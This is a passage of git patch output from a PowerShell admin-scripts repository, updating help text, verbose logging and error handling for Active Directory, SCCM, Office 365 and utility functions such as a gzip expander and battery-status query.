Write-Verbose -message "[$ScriptName][PROCESS] Get the Subnet Container" $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" - FOREACH ($item in $SiteInfo){ - Write-Verbose -Message "[PROCESS] SITE: $($item.name)" + Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name)" # Get the Site Links - Write-Verbose -Message "[PROCESS] SITE: $($item.name) - Getting Site Links" + Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name) - Getting Site Links" $LinksInfo = ([System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::FindByName($ForestContext,$($item.name))).SiteLinks # Create PowerShell Object and Output - Write-Verbose -Message "[PROCESS] SITE: $($item.name) - Preparing Output" + Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name) - Preparing Output" New-Object -TypeName PSObject -Property @{ Name= $item.Name @@ -86,13 +94,13 @@ }#TRY CATCH { - Write-Warning -Message "[PROCESS] Something Wrong Happened" - Write-Warning -Message $Error[0] + # Return the last error + $PSCmdlet.ThrowTerminatingError($_) }#CATCH }#PROCESS END { - Write-Verbose -Message "[END] Script Completed!" + Write-Verbose -Message "[$ScriptName][END] Script Completed!" }#END }#get-ADSiteServicesInfo From d8d2aa7e954267179c61624e25f2ed2a4ab1969e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 19 Mar 2018 21:53:03 -0700 Subject: [PATCH 131/561] Update Readme --- README.md | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 7ec0ffe6..c10a2ae2 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,11 @@ -PowerShell -========== -This repository is used for all my public scripts. +# PowerShell + +This repository is used for all my public scripts. Let me know if you have any issues using them, always space for improvement Feel free to fork -www.lazywinadmin.com +Blog: [https://lazywinadmin.github.io](https://lazywinadmin.github.io) + +Old Blog: [http://www.lazywinadmin.com](http://www.lazywinadmin.com) + +Twitter: [@LazyWinAdmin](https://twitter.com/LazyWinAdm) From cbc62be27975021bbfdff82681ee9779a0990e5f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 19 Mar 2018 21:53:38 -0700 Subject: [PATCH 132/561] Update logic and help --- .../AD-FSMO-Get-ADFSMORole.ps1 | 136 +++++++++--------- 1 file changed, 65 insertions(+), 71 deletions(-) diff --git a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 index 3fd01215..a7475e8d 100644 --- a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 +++ b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 @@ -1,74 +1,68 @@ function Get-ADFSMORole { - <# - .SYNOPSIS - Retrieve the FSMO Role in the Forest/Domain. - .DESCRIPTION - Retrieve the FSMO Role in the Forest/Domain. - .EXAMPLE - Get-ADFSMORole - .EXAMPLE - Get-ADFSMORole -Credential (Get-Credential -Credential "CONTOSO\SuperAdmin") - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - github.com/lazywinadmin - #> - [CmdletBinding()] - PARAM ( - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - )#PARAM - BEGIN - { - TRY - { - # Load ActiveDirectory Module if not already loaded. - IF (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction 'Stop' -Verbose:$false } - } - CATCH - { - Write-Warning -Message "[BEGIN] Something wrong happened" - Write-Warning -Message $Error[0] - } - } - PROCESS - { - TRY - { - - IF ($PSBoundParameters['Credential']) - { - # Query with the credentials specified - $ForestRoles = Get-ADForest -Credential $Credential -ErrorAction 'Stop' -ErrorVariable ErrorGetADForest - $DomainRoles = Get-ADDomain -Credential $Credential -ErrorAction 'Stop' -ErrorVariable ErrorGetADDomain - } - ELSE - { - # Query with the current credentials - $ForestRoles = Get-ADForest - $DomainRoles = Get-ADDomain - } - - # Define Properties - $Properties = @{ - SchemaMaster = $ForestRoles.SchemaMaster - DomainNamingMaster = $ForestRoles.DomainNamingMaster - InfraStructureMaster = $DomainRoles.InfraStructureMaster - RIDMaster = $DomainRoles.RIDMaster - PDCEmulator = $DomainRoles.PDCEmulator - } - - New-Object -TypeName PSObject -Property $Properties - } - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened" - IF ($ErrorGetADForest) { Write-Warning -Message "[PROCESS] Error While retrieving Forest information"} - IF ($ErrorGetADDomain) { Write-Warning -Message "[PROCESS] Error While retrieving Domain information"} - Write-Warning -Message $Error[0] - } - }#PROCESS +<# +.SYNOPSIS + Retrieve the FSMO Role in the Forest/Domain. +.DESCRIPTION + Retrieve the FSMO Role in the Forest/Domain. +.PARAMETER Credential + Specify the alternative credential to use +.EXAMPLE + Get-ADFSMORole +.EXAMPLE + Get-ADFSMORole -Credential (Get-Credential -Credential "CONTOSO\SuperAdmin") +.NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin + + 1.0 | 2016/00/00 | Francois-Xavier Cat + Initial Version + 1.1 | 2017/11/01 | Francois-Xavier Cat + Update Error handling + Update logic + Remove warning messages + Replace tabs with spaces +#> + [CmdletBinding()] + PARAM ( + [Alias("RunAs")] + [System.Management.Automation.Credential()] + [pscredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + )#PARAM + TRY + { + # Load ActiveDirectory Module if not already loaded. + IF (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction 'Stop' -Verbose:$false } + + IF ($PSBoundParameters['Credential']) + { + # Query with the credentials specified + $ForestRoles = Get-ADForest -Credential $Credential -ErrorAction 'Stop' -ErrorVariable ErrorGetADForest + $DomainRoles = Get-ADDomain -Credential $Credential -ErrorAction 'Stop' -ErrorVariable ErrorGetADDomain + } + ELSE + { + # Query with the current credentials + $ForestRoles = Get-ADForest + $DomainRoles = Get-ADDomain + } + + # Define Properties + $Properties = @{ + SchemaMaster = $ForestRoles.SchemaMaster + DomainNamingMaster = $ForestRoles.DomainNamingMaster + InfraStructureMaster = $DomainRoles.InfraStructureMaster + RIDMaster = $DomainRoles.RIDMaster + PDCEmulator = $DomainRoles.PDCEmulator + } + + New-Object -TypeName PSObject -Property $Properties + } + CATCH + { + $PSCmdlet.ThrowTerminatingError($_) + } } \ No newline at end of file From e32b94e1bbca5a0b0afa80df9ac09575171d87ee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 19 Mar 2018 21:55:22 -0700 Subject: [PATCH 133/561] Update help --- .../Get-SCCMClientCacheInformation.ps1 | 41 ++++++++++++------- 1 file changed, 26 insertions(+), 15 deletions(-) diff --git a/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 index 549e80d4..9b40be00 100644 --- a/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 +++ b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 @@ -1,25 +1,36 @@ function Get-SCCMClientCacheInformation { - <# - .SYNOPSYS - Function to get the cache size on a SCCM Client - .DESCRIPTION - Function to get the cache size on a SCCM Client - .PARAMETER ComputerName - Specifies the name of the client - .PARAMETER Credential - Specifies the credential to use against the remote machine - Only work with the WMI query for now, not the service restart - .EXAMPLE - Get-SCCMClientCacheInformation -ComputerName Client01 - - This will get the client cache size on the computer Client01 - #> +<# + .SYNOPSIS + Function to get the cache size on a SCCM Client + .DESCRIPTION + Function to get the cache size on a SCCM Client + .PARAMETER ComputerName + Specifies the name of the client + .PARAMETER Credential + Specifies the credential to use against the remote machine + Only work with the WMI query for now, not the service restart + .EXAMPLE + Get-SCCMClientCacheInformation -ComputerName Client01 + + This will get the client cache size on the computer Client01 + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin + + 1.0 | 2017/11/01 | Francois-Xavier Cat + Initial Version + 1.1 | 2017/11/01 | Francois-Xavier Cat + Update Error handling and messages +#> PARAM( [string[]]$ComputerName=".", [Alias('RunAs')] [System.Management.Automation.Credential()] + [pscredential] $Credential = [System.Management.Automation.PSCredential]::Empty ) From 8f46cbd448b78a875cffe7f46391831ae7a2eba1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 19 Mar 2018 21:55:48 -0700 Subject: [PATCH 134/561] Update help and add verbose messages --- .../Get-SCCMDeviceCollectionDeployment.ps1 | 116 +++++++++++------- 1 file changed, 73 insertions(+), 43 deletions(-) diff --git a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 index 0233d729..c76c94fb 100644 --- a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 @@ -28,12 +28,20 @@ Possible value: Available or Required. Default is Null (get all) .EXAMPLE - Get-SCCMDeviceCollectionDeployment -DeviceName MTLLAP8500 -Credential $cred -Purpose Required + Get-SCCMDeviceCollectionDeployment -DeviceName MYCOMPUTER01 -Credential $cred -Purpose Required .NOTES Francois-Xavier cat www.lazywinadmin.com - @lazywinadm + @lazywinadm + + CHANGE HISTORY + 1.0 | 2015/09/03 | Francois-Xavier Cat + Initial Version + 1.1 | 2017/09/15 | Francois-Xavier Cat + Update Comment based help + Update Crendential parameter type + Update Verbose messages SMS_R_SYSTEM: https://msdn.microsoft.com/en-us/library/cc145392.aspx SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx @@ -43,25 +51,29 @@ PARAM ( [Parameter(Mandatory)] - $DeviceName, + [System.String]$DeviceName, [Parameter(Mandatory)] - $SiteCode, + [System.String]$SiteCode, [Parameter(Mandatory)] - $ComputerName, + [System.String]$ComputerName, [Alias('RunAs')] + [pscredential] [System.Management.Automation.Credential()] $Credential = [System.Management.Automation.PSCredential]::Empty, [ValidateSet('Required', 'Available')] - $Purpose + [System.String]$Purpose ) BEGIN { + $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name + Write-Verbose -Message "[$FunctionName] Create splatting" + # Define default properties $Splatting = @{ ComputerName = $ComputerName @@ -70,6 +82,7 @@ IF ($PSBoundParameters['Credential']) { + Write-Verbose -Message "[$FunctionName] Append splatting" $Splatting.Credential = $Credential } @@ -80,6 +93,8 @@ default { $DeploymentIntent = "NA" } } + Write-Verbose -Message "[$FunctionName] Define helper functions" + Write-Verbose -Message "[$FunctionName] helper function: Get-SCCMDeploymentIntentName" Function Get-SCCMDeploymentIntentName { PARAM( @@ -94,6 +109,7 @@ } } #Function Get-DeploymentIntentName + Write-Verbose -Message "[$FunctionName] helper function: Get-SCCMDeploymentTypeName" function Get-SCCMDeploymentTypeName { <# @@ -119,52 +135,66 @@ } PROCESS { - $Device = Get-WMIObject @Splatting -Query "Select * From SMS_R_SYSTEM WHERE Name='$DeviceName'" + TRY + { + Write-Verbose -Message "[$FunctionName] Retrieving Device '$DeviceName'..." + $Device = Get-WMIObject @Splatting -Query "Select * From SMS_R_SYSTEM WHERE Name='$DeviceName'" - Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($Device.resourceid)'" | ForEach-Object { - $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE CollectionID='$($_.Collectionid)'" + Write-Verbose -Message "[$FunctionName] Retrieving collection(s) where the device is member..." + Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($Device.resourceid)'" | ForEach-Object { + + Write-Verbose -Message "[$FunctionName] Retrieving collection '$($_.Collectionid)'..." + $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE CollectionID='$($_.Collectionid)'" - Foreach ($Collection in $collections) - { - IF ($DeploymentIntent -eq 'NA') - { - $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") - } - ELSE - { - $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") - } - - Foreach ($Deploy in $Deployments) + Foreach ($Collection in $collections) { - # Get the Deployment type - $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentTypeid - if (-not $TypeName) { $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentType } + IF ($DeploymentIntent -eq 'NA') + { + Write-Verbose -Message "[$FunctionName] DeploymentIntent is not specified" + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") + } + ELSE + { + Write-Verbose -Message "[$FunctionName] DeploymentIntent '$DeploymentIntent'" + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") + } - # Prepare output - $Properties = @{ - DeviceName = $DeviceName - ComputerName = $ComputerName - CollectionName = $Deploy.CollectionName - CollectionID = $Deploy.CollectionID - DeploymentID = $Deploy.DeploymentID - DeploymentName = $Deploy.DeploymentName - DeploymentIntent = $deploy.DeploymentIntent - DeploymentIntentName = (Get-SCCMDeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) - DeploymentTypeName = $TypeName - TargetName = $Deploy.TargetName - TargetSubName = $Deploy.TargetSubname + Foreach ($Deploy in $Deployments) + { + Write-Verbose -Message "[$FunctionName] Retrieving DeploymentType..." + $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentTypeid + if (-not $TypeName) { $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentType } + + # Prepare output + Write-Verbose -Message "[$FunctionName] Preparing output..." + $Properties = @{ + DeviceName = $DeviceName + ComputerName = $ComputerName + CollectionName = $Deploy.CollectionName + CollectionID = $Deploy.CollectionID + DeploymentID = $Deploy.DeploymentID + DeploymentName = $Deploy.DeploymentName + DeploymentIntent = $deploy.DeploymentIntent + DeploymentIntentName = (Get-SCCMDeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) + DeploymentTypeName = $TypeName + TargetName = $Deploy.TargetName + TargetSubName = $Deploy.TargetSubname + + } + #Output the current object + Write-Verbose -Message "[$FunctionName] Output information" + New-Object -TypeName PSObject -prop $Properties + + # Reset TypeName + $TypeName="" } - - #Output the current object - New-Object -TypeName PSObject -prop $Properties - - # Reset TypeName - $TypeName="" } } } + CATCH{ + $PSCmdlet.ThrowTerminatingError() + } } } From 4a890054ab1bff8e209a2f711eabd1072b4c6a6e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 19 Mar 2018 21:57:42 -0700 Subject: [PATCH 135/561] Add Get-BatteryStatus --- TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 | 23 ++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 diff --git a/TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 b/TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 new file mode 100644 index 00000000..a87dfa43 --- /dev/null +++ b/TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 @@ -0,0 +1,23 @@ +function Get-BatteryStatus { + <# + .SYNOPSIS + Retrieve battery information + + .DESCRIPTION + Retrieve battery information + + .EXAMPLE + Get-Battery + + .NOTES + http://www.powershellmagazine.com/2012/10/18/pstip-get-system-power-information/ + #> + PARAM() + try{ + Add-Type -Assembly System.Windows.Forms + [System.Windows.Forms.SystemInformation]::PowerStatus + }catch + { + $PSCmdlet.ThrowTerminatingError($_) + } +} \ No newline at end of file From 88ea51b3905830dd4b51a4c15f9a75b3c5f4cd45 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Mon, 19 Mar 2018 22:17:54 -0700 Subject: [PATCH 136/561] Rename variable --- .../O365-Get-O365CalendarEvent.ps1 | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 index 4562116c..386918f1 100644 --- a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 +++ b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 @@ -79,7 +79,8 @@ [System.datetime]$EndDateTime = ((Get-Date).adddays(7)), - [System.Management.Automation.Credential()] + [System.Management.Automation.Credential()] + [pscredential] $Credential = [System.Management.Automation.PSCredential]::Empty, [ValidateNotNullOrEmpty()] @@ -173,9 +174,9 @@ { TRY { - $ScriptName = (Get-Variable -Name MyInvocation -Scope 0 -ValueOnly).MyCommand + $FunctionName = (Get-Variable -Name MyInvocation -Scope 0 -ValueOnly).MyCommand - Write-Verbose -Message "[$ScriptName] Create splatting" + Write-Verbose -Message "[$FunctionName] Create splatting" $Splatting = @{ Credential = $Credential Uri = "https://outlook.office365.com/api/v1.0/users/$EmailAddress/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" @@ -184,18 +185,18 @@ if ($TimeZone) { - Write-Verbose -Message "[$ScriptName] Add TimeZone" + Write-Verbose -Message "[$FunctionName] Add TimeZone" $headers = New-Object -TypeName 'System.Collections.Generic.Dictionary[[String],[String]]' $headers.Add('Prefer', "outlook.timezone=`"$TimeZone`"") $Splatting.Add('Headers', $headers) } if (-not $PSBoundParameters['EmailAddress']) { - Write-Verbose -Message "[$ScriptName] EmailAddress not specified, updating URI" + Write-Verbose -Message "[$FunctionName] EmailAddress not specified, updating URI" #Query the current User $Splatting.Uri = "https://outlook.office365.com/api/v1.0/me/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" } - Write-Verbose -Message "[$ScriptName] URI: $($Splatting.Uri)" + Write-Verbose -Message "[$FunctionName] URI: $($Splatting.Uri)" Invoke-RestMethod @Splatting -ErrorAction Stop | Select-Object -ExpandProperty Value } CATCH From 787beea185bfb0b2bffc66a4e8532b68522bae8c Mon Sep 17 00:00:00 2001 From: PrzemyslawKlys Date: Sun, 22 Apr 2018 09:55:26 +0200 Subject: [PATCH 137/561] Fixed typo in example --- TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 b/TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 index a87dfa43..612585d4 100644 --- a/TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 +++ b/TOOL-Get-BatteryStatus/Get-BatteryStatus.ps1 @@ -2,22 +2,21 @@ function Get-BatteryStatus { <# .SYNOPSIS Retrieve battery information - + .DESCRIPTION Retrieve battery information - + .EXAMPLE - Get-Battery - + Get-BatteryStatus + .NOTES http://www.powershellmagazine.com/2012/10/18/pstip-get-system-power-information/ #> PARAM() - try{ + try { Add-Type -Assembly System.Windows.Forms [System.Windows.Forms.SystemInformation]::PowerStatus - }catch - { + } catch { $PSCmdlet.ThrowTerminatingError($_) } -} \ No newline at end of file +} From c45d1a7733c66c27fdd4d3c309da6cc3d031fd80 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Tue, 1 May 2018 00:05:15 -0400 Subject: [PATCH 138/561] Update Remove-StringSpecialCharacter.ps1 --- .../Remove-StringSpecialCharacter.ps1 | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index 71ac7773..829acbde 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -1,4 +1,4 @@ -function Remove-StringSpecialCharacter +function Remove-StringSpecialCharacter { <# .SYNOPSIS @@ -45,7 +45,7 @@ [System.String[]]$String, [Alias("Keep")] - [ValidateNotNullOrEmpty()] + #[ValidateNotNullOrEmpty()] [String[]]$SpecialCharacterToKeep ) PROCESS @@ -55,7 +55,12 @@ $Regex = "[^\p{L}\p{Nd}" Foreach ($Character in $SpecialCharacterToKeep) { - $Regex += "/$character" + IF ($Character -eq "-"){ + $Regex +="-" + } else { + $Regex += [Regex]::Escape($Character) + } + #$Regex += "/$character" } $Regex += "]+" @@ -68,4 +73,4 @@ $Str -replace $regex, "" } } #PROCESS -} \ No newline at end of file +} From a61a974cdcb3e8cbf52169267f42137c67a96bdb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Sat, 21 Jul 2018 11:08:09 -0700 Subject: [PATCH 139/561] Add vscode settings --- .vscode/settings.json | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 .vscode/settings.json diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000..e74b5cdc --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,15 @@ +{ + // The number of spaces a tab is equal to. This setting is overriden + // based on the file contents when `editor.detectIndentation` is true. + "editor.tabSize": 4, + // Insert spaces when pressing Tab. This setting is overriden + // based on the file contents when `editor.detectIndentation` is true. + "editor.insertSpaces": true, + // When opening a file, `editor.tabSize` and `editor.insertSpaces` + // will be detected based on the file contents. + "editor.detectIndentation": false, + + "editor.rulers": [ + 80 + ] +} \ No newline at end of file From 0c38d1b8e55f117da7c5484a0a64750c07caaa38 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Fri, 12 Oct 2018 19:23:14 -0700 Subject: [PATCH 140/561] Update VCode settings --- .vscode/settings.json | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.vscode/settings.json b/.vscode/settings.json index e74b5cdc..deb8e0ae 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -11,5 +11,7 @@ "editor.rulers": [ 80 - ] + ], + + "editor.renderWhitespace": "all" } \ No newline at end of file From 879f164de07f4c65b7c59641e494239915819205 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 22 Mar 2019 16:53:43 -0700 Subject: [PATCH 141/561] Add Expand-GzipFile --- TOOL-Expand-GzipFile/Expand-GzipFile.ps1 | 50 ++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 TOOL-Expand-GzipFile/Expand-GzipFile.ps1 diff --git a/TOOL-Expand-GzipFile/Expand-GzipFile.ps1 b/TOOL-Expand-GzipFile/Expand-GzipFile.ps1 new file mode 100644 index 00000000..7158b05a --- /dev/null +++ b/TOOL-Expand-GzipFile/Expand-GzipFile.ps1 @@ -0,0 +1,50 @@ +Function Expand-GZipFile +{ +<# +.Synopsis + Unzip a gz file +.Notes + Change History + 1.0 | 2019/03/22 | francois-xavier cat (@lazywinadmin) + based on https://social.technet.microsoft.com/Forums/windowsserver/en-US/5aa53fef-5229-4313-a035-8b3a38ab93f5/unzip-gz-files-using-powershell?forum=winserverpowershell + add comment based help, error handling, missing parameters + rename variables +.Example + Expand-GZipFile -LiteralPath C:\tmp\lazywinadmin-2019.xml.gz -outfile C:\tmp\lazywinadmin-2019.xml + + Will expand the content of C:\tmp\lazywinadmin-2019.xml.gz to C:\tmp\lazywinadmin-2019.xml + +.Example + Expand-GZipFile -LiteralPath C:\tmp\lazywinadmin-2019.xml.gz + + Will expand the content of C:\tmp\lazywinadmin-2019.xml.gz to C:\tmp\lazywinadmin-2019.xml +#> +[CmdletBinding()] +Param( + [ValidateScript({Test-path -Path $_})] + [String]$LiteralPath, + $outfile = ($LiteralPath -replace '\.gz$','') +) +try{ + $FileStreamIn = New-Object -TypeName System.IO.FileStream -ArgumentList $LiteralPath, ([IO.FileMode]::Open), ([IO.FileAccess]::Read), ([IO.FileShare]::Read) + $output = New-Object -TypeName System.IO.FileStream -ArgumentList $outFile, ([IO.FileMode]::Create), ([IO.FileAccess]::Write), ([IO.FileShare]::None) + $GzipStream = New-Object -TypeName System.IO.Compression.GzipStream -ArgumentList $FileStreamIn, ([IO.Compression.CompressionMode]::Decompress) + + # Create Buffer + $buffer = New-Object -TypeName byte[] -ArgumentList 1024 + while($true){ + $read = $GzipStream.Read($buffer, 0, 1024) + if ($read -le 0){break} + $output.Write($buffer, 0, $read) + } + + $GzipStream.Close() + $output.Close() + $FileStreamIn.Close() +}catch{ + throw $_ + if($GzipStream){$GzipStream.Close()} + if($output){$output.Close()} + if($FileStreamIn){$FileStreamIn.Close()} +} +} From 6908327bcec404e2b2252152096f58ec877ae0b0 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 22 Mar 2019 16:55:18 -0700 Subject: [PATCH 142/561] Replace tabs by spaces --- .../AD-GPO-Get-ADGPOReplication.ps1 | 191 +++++++++--------- 1 file changed, 96 insertions(+), 95 deletions(-) diff --git a/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 b/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 index 769e31c5..bce2205e 100644 --- a/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 +++ b/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 @@ -1,98 +1,99 @@ function Get-ADGPOReplication { - <# - .SYNOPSIS - This function retrieve one or all the GPO and report their DSVersions and SysVolVersions (Users and Computers) - .DESCRIPTION - This function retrieve one or all the GPO and report their DSVersions and SysVolVersions (Users and Computers) - .PARAMETER GPOName - Specify the name of the GPO - .PARAMETER All - Specify that you want to retrieve all the GPO (slow if you have a lot of Domain Controllers) - .EXAMPLE - Get-ADGPOReplication -GPOName "Default Domain Policy" - .EXAMPLE - Get-ADGPOReplication -All - .NOTES - Francois-Xavier Cat - @lazywinadm - lazywinadmin.com - - VERSION HISTORY - 1.0 2014.09.22 Initial version - Adding some more Error Handling - Fix some typo - #> - #requires -version 3 - [CmdletBinding()] - PARAM ( - [parameter(Mandatory = $True, ParameterSetName = "One")] - [String[]]$GPOName, - [parameter(Mandatory = $True, ParameterSetName = "All")] - [Switch]$All - ) - BEGIN - { - TRY - { - if (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction Stop -ErrorVariable ErrorBeginIpmoAD } - if (-not (Get-Module -Name GroupPolicy)) { Import-Module -Name GroupPolicy -ErrorAction Stop -ErrorVariable ErrorBeginIpmoGP } - } - CATCH - { - Write-Warning -Message "[BEGIN] Something wrong happened" - IF ($ErrorBeginIpmoAD) { Write-Warning -Message "[BEGIN] Error while Importing the module Active Directory" } - IF ($ErrorBeginIpmoGP) { Write-Warning -Message "[BEGIN] Error while Importing the module Group Policy" } - Write-Warning -Message "[BEGIN] $($Error[0].exception.message)" - } - } - PROCESS - { - FOREACH ($DomainController in ((Get-ADDomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetDC -filter *).hostname)) - { - TRY - { - IF ($psBoundParameters['GPOName']) - { - Foreach ($GPOItem in $GPOName) - { - $GPO = Get-GPO -Name $GPOItem -Server $DomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetGPO - - [pscustomobject][ordered] @{ - GroupPolicyName = $GPOItem - DomainController = $DomainController - UserVersion = $GPO.User.DSVersion - UserSysVolVersion = $GPO.User.SysvolVersion - ComputerVersion = $GPO.Computer.DSVersion - ComputerSysVolVersion = $GPO.Computer.SysvolVersion - }#PSObject - }#Foreach ($GPOItem in $GPOName) - }#IF ($psBoundParameters['GPOName']) - IF ($psBoundParameters['All']) - { - $GPOList = Get-GPO -All -Server $DomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetGPOAll - - foreach ($GPO in $GPOList) - { - [pscustomobject][ordered] @{ - GroupPolicyName = $GPO.DisplayName - DomainController = $DomainController - UserVersion = $GPO.User.DSVersion - UserSysVolVersion = $GPO.User.SysvolVersion - ComputerVersion = $GPO.Computer.DSVersion - ComputerSysVolVersion = $GPO.Computer.SysvolVersion - }#PSObject - } - }#IF ($psBoundParameters['All']) - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened" - IF ($ErrorProcessGetDC) { Write-Warning -Message "[PROCESS] Error while running retrieving Domain Controllers with Get-ADDomainController" } - IF ($ErrorProcessGetGPO) { Write-Warning -Message "[PROCESS] Error while running Get-GPO" } - IF ($ErrorProcessGetGPOAll) { Write-Warning -Message "[PROCESS] Error while running Get-GPO -All" } - Write-Warning -Message "[PROCESS] $($Error[0].exception.message)" - } - }#FOREACH - }#PROCESS + <# + .SYNOPSIS + This function retrieve one or all the GPO and report their DSVersions and SysVolVersions (Users and Computers) + .DESCRIPTION + This function retrieve one or all the GPO and report their DSVersions and SysVolVersions (Users and Computers) + .PARAMETER GPOName + Specify the name of the GPO + .PARAMETER All + Specify that you want to retrieve all the GPO (slow if you have a lot of Domain Controllers) + 